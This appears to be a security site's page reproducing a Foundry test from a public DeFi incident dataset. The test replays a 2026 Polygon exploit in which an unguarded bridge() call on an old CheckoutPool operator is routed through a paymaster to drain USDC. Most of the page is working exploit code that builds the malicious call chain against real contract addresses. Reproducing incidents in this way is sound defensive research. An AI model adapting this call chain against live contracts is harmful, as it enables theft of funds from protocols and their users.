Skip to content
THREATWIRE

Public reproduction file

src/test/2026-03/unverified_1304_exp.sol

Public reproduction file for dataset entry unverified.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-03/unverified_1304_exp.sol177 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 85,730 USDC
8// Attacker : 0x6ff2be5d0e5b3974a818731e3ff6eeec8cd9d970
9// Attack Contract : 0x9a5fe6e6a27f7eace0782b89e6b216849d871e4f
10// Vulnerable Contract : 0x13046f513802de93f3fc48f0cdb2cb7df22ec01a
11// Attack Tx : https://polygonscan.com/tx/0x957bcfa47657a198b683feb455f7957e8e6d912b5584a5af510f4ff8a41f4f5a
13// @Info
14// Vulnerable Contract Code : unverified on Polygonscan
16// @Analysis
17// Twitter Guy : https://x.com/DefimonAlerts/status/2034532547191820390
18//
19// An old CheckoutPool bridge operator contract had _ALLOW_ALL_ enabled and no effective operator gate on bridge().
20// Any caller could route bridge() into the trusted CheckoutPaymaster, which activated and called CheckoutPool.execute().
21// CheckoutPool then paid the stored checkout target amount from its USDC balance, spending pool excess for the portion
22// above the checkout's held amount.
24address constant TX_SENDER = 0x6fF2bE5D0E5B3974a818731E3FF6EEEc8cd9D970;
25address constant ATTACK_CONTRACT = 0x9A5fe6e6A27f7eacE0782b89e6b216849d871E4f;
26address constant ATTACK_ACCOUNT = 0xB648db3bD2f7646D648570CF5765495D46011Ae1;
28address constant OLD_BOC = 0x13046f513802De93f3fC48f0cDb2Cb7df22Ec01A;
29address constant CHECKOUT_POOL = 0x1929347E025D4F5F8D6B2Bd2261e2f4EfcAcd215;
30address constant CHECKOUT_PAYMASTER = 0xD649aC385EfE8CE69EcE9D2E61aE602e2893C586;
31address constant ENTRY_POINT = 0x5FF137D4b0FDCD49DcA30c7CF57E578a026d2789;
32address constant USDC_TOKEN = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174;
34struct BridgeParams {
35 address target;
36 address spender;
37 bytes callData;
38 address bridgeReceivedAsset;
39 uint256 minBridgeReceivedAmount;
42struct UserOperation {
43 address sender;
44 uint256 nonce;
45 bytes initCode;
46 bytes callData;
47 uint256 callGasLimit;
48 uint256 verificationGasLimit;
49 uint256 preVerificationGas;
50 uint256 maxFeePerGas;
51 uint256 maxPriorityFeePerGas;
52 bytes paymasterAndData;
53 bytes signature;
56struct CheckoutParams {
57 bytes32 userOpHash;
58 bytes32 targetAsset;
59 uint96 targetChainId;
60 uint128 targetAmount;
61 uint128 expiration;
62 bytes32 recipient;
65struct CheckoutState {
66 CheckoutParams params;
67 address heldAsset;
68 uint256 heldAmount;
71interface IOldBridgeOperator {
72 function bridge(address depositAddress, BridgeParams calldata bridgeParams) external;
73 function _ALLOW_ALL_() external view returns (bool);
76interface ICheckoutPaymaster {
77 function activateAndCall(address target, bytes calldata callData) external payable returns (bytes memory);
78 function isOperatorAllowed(address operator) external view returns (bool);
81interface ICheckoutPool {
82 function execute(address depositAddress, UserOperation[] calldata ops) external;
83 function getCheckout(address depositAddress) external view returns (CheckoutState memory);
84 function _POOL_EXCESS_(address asset) external view returns (uint256);
87interface IEntryPoint {
88 function getUserOpHash(UserOperation calldata userOp) external view returns (bytes32);
91contract ContractTest is BaseTestWithBalanceLog {
92 IERC20 private constant usdc = IERC20(USDC_TOKEN);
93 IOldBridgeOperator private constant oldBoc = IOldBridgeOperator(OLD_BOC);
94 ICheckoutPool private constant checkoutPool = ICheckoutPool(CHECKOUT_POOL);
95 ICheckoutPaymaster private constant paymaster = ICheckoutPaymaster(CHECKOUT_PAYMASTER);
96 IEntryPoint private constant entryPoint = IEntryPoint(ENTRY_POINT);
98 function setUp() public {
99 uint256 forkBlock = 84_291_586;
100 vm.createSelectFork("polygon", forkBlock);
101 fundingToken = USDC_TOKEN;
103 vm.label(TX_SENDER, "Transaction sender");
104 vm.label(ATTACK_CONTRACT, "Attack contract / deposit address");
105 vm.label(ATTACK_ACCOUNT, "Attacker smart account");
106 vm.label(OLD_BOC, "Old CheckoutPool BOC");
107 vm.label(CHECKOUT_POOL, "CheckoutPool");
108 vm.label(CHECKOUT_PAYMASTER, "CheckoutPaymaster");
109 vm.label(ENTRY_POINT, "ERC-4337 EntryPoint");
110 vm.label(USDC_TOKEN, "USDC");
111 }
113 function testExploit() public balanceLog2(ATTACK_ACCOUNT) {
114 UserOperation[] memory ops = _buildObservedUserOp();
115 CheckoutState memory checkoutBefore = checkoutPool.getCheckout(ATTACK_CONTRACT);
116 uint256 attackerUsdcBefore = usdc.balanceOf(ATTACK_ACCOUNT);
117 uint256 poolUsdcBefore = usdc.balanceOf(CHECKOUT_POOL);
118 uint256 excessBefore = checkoutPool._POOL_EXCESS_(USDC_TOKEN);
120 uint256 executionAmount = uint256(checkoutBefore.params.targetAmount);
121 uint256 heldAmount = checkoutBefore.heldAmount;
122 uint256 excessSpend = executionAmount - heldAmount;
124 assertTrue(oldBoc._ALLOW_ALL_(), "old BOC allow-all disabled");
125 assertTrue(paymaster.isOperatorAllowed(OLD_BOC), "old BOC is not paymaster operator");
126 assertEq(address(uint160(uint256(checkoutBefore.params.targetAsset))), USDC_TOKEN, "unexpected target asset");
127 assertEq(checkoutBefore.heldAsset, USDC_TOKEN, "unexpected held asset");
128 assertEq(entryPoint.getUserOpHash(ops[0]), checkoutBefore.params.userOpHash, "userOp hash mismatch");
129 assertGt(executionAmount, heldAmount, "checkout does not spend pool excess");
131 // step 1: call the old BOC directly as an unprivileged attacker-controlled EOA.
132 vm.startPrank(TX_SENDER, TX_SENDER);
133 oldBoc.bridge(ATTACK_CONTRACT, _buildBridgeParams(ops));
134 vm.stopPrank();
136 // step 2: CheckoutPool paid the target amount and charged the excess portion to pool accounting.
137 assertEq(usdc.balanceOf(ATTACK_ACCOUNT) - attackerUsdcBefore, executionAmount, "unexpected USDC received");
138 assertEq(poolUsdcBefore - usdc.balanceOf(CHECKOUT_POOL), executionAmount, "pool balance delta mismatch");
139 assertEq(excessBefore - checkoutPool._POOL_EXCESS_(USDC_TOKEN), excessSpend, "pool excess delta mismatch");
141 emit log_named_decimal_uint("USDC transferred to attacker smart account", executionAmount, 6);
142 emit log_named_decimal_uint("USDC excess consumed", excessSpend, 6);
143 }
145 function _buildBridgeParams(
146 UserOperation[] memory ops
147 ) private pure returns (BridgeParams memory bridgeParams) {
148 bytes memory executeCall = abi.encodeWithSelector(ICheckoutPool.execute.selector, ATTACK_CONTRACT, ops);
149 bytes memory activateAndCall =
150 abi.encodeWithSelector(ICheckoutPaymaster.activateAndCall.selector, CHECKOUT_POOL, executeCall);
152 bridgeParams = BridgeParams({
153 target: CHECKOUT_PAYMASTER,
154 spender: ATTACK_CONTRACT,
155 callData: activateAndCall,
156 bridgeReceivedAsset: USDC_TOKEN,
157 minBridgeReceivedAmount: 0
158 });
159 }
161 function _buildObservedUserOp() private pure returns (UserOperation[] memory ops) {
162 ops = new UserOperation[](1);
163 ops[0] = UserOperation({
164 sender: ATTACK_ACCOUNT,
165 nonce: 1,
166 initCode: "",
167 callData: "",
168 callGasLimit: 62_646,
169 verificationGasLimit: 75_826,
170 preVerificationGas: 51_638,
171 maxFeePerGas: 189_054_399_157,
172 maxPriorityFeePerGas: 49_500_000_000,
173 paymasterAndData: abi.encodePacked(ATTACK_ACCOUNT, bytes7(0)),
174 signature: new bytes(32)
175 });
176 }

Analysis

Dataset entry

Public Foundry test for “unverified” (2026-03-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x6ff2be5d0e5b3974a818731e3ff6eeec8cd9d970

  • Attack Contract

    0x9a5fe6e6a27f7eace0782b89e6b216849d871e4f

  • Vulnerable Contract

    0x13046f513802de93f3fc48f0cdb2cb7df22ec01a

  • Attack Tx

    0x957bcfa47657a198b683feb455f7957e8e6d912b5584a5af510f4ff8a41f4f5a

File record

Name
unverified
Path
src/test/2026-03/unverified_1304_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8579ae678038fdba49c8337a84de4eca6e6fc2b9
Language
Solidity
Size
178 lines
Date
2026-03-16
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-03/unverified_1304_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8579ae678038fdba49c8337a84de4eca6e6fc2b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.